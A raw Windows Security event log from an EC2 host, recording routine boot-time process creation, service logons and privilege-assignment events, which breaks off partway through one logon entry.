03/11/2021 11:14:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245004
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1bc
	New Process Name:	C:\Windows\System32\autochk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x194
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:14:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245003
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x194
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4
	Creator Process Name:	
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:14:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4826
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Other Policy Change Events
OpCode=Info
RecordNumber=245002
Keywords=Audit Success
Message=Boot Configuration Data loaded.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

General Settings:
	Load Options:		-
	Advanced Options:		No
	Configuration Access Policy:	Default
	System Event Logging:	No
	Kernel Debugging:	No
	VSM Launch Type:	Off

Signature Settings:
	Test Signing:		No
	Flight Signing:		No
	Disable Integrity Checks:	No

HyperVisor Settings:
	HyperVisor Load Options:	-
	HyperVisor Launch Type:	Off
	HyperVisor Debugging:	No
03/11/2021 11:14:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245005
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1e8
	New Process Name:	C:\Windows\System32\setupcl.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x194
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245007
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x20c
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x204
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245006
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x204
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x194
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245013
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\System32\lsass.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x264
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245012
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2cc
	New Process Name:	C:\Windows\System32\services.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x264
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245011
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x29c
	New Process Name:	C:\Windows\System32\winlogon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x248
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245010
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Windows\System32\wininit.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x204
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245009
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x250
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x248
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245008
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x194
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:15:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245020
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:15:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245019
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245018
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245017
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4902
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245016
Keywords=Audit Success
Message=The Per-user audit policy table was created.

Number of Elements:	0
Policy ID:	0x52C94
03/11/2021 11:15:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245015
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		0
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		-

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x4
	Process Name:		

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		-
	Authentication Package:	-
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4608
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245014
Keywords=Audit Success
Message=Windows is starting up.

This event is logged when LSASS.EXE starts and the auditing subsystem is initialized.
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245031
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245030
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245029
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245028
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245027
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245026
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
